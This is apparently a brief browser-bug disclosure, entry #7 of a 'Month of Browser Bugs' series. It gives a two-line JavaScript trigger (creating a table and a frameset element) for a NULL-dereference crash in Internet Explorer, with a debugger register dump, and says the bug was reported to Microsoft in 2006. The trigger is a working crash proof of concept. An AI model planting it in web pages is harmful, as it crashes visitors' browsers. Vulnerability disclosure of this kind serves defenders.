MoBB #7: Table.Frameset
var a = document.createElement('table');
var b = document.createElement('frameset');
eax=00000000 ebx=01884710 ecx=01886c60
edx=00000027 esi=0013aeb0 edi=01884730
eip=7dc995ad esp=0013ae88 ebp=0013ae9c6
7dc995ad f60010 test byte ptr [eax],0x10 ds:0023:00000000=??
This bug was reported to Microsoft in March of 2006.
This bug will be added to the OSVDB:
Microsoft IE Frameset inside Table NULL Dereference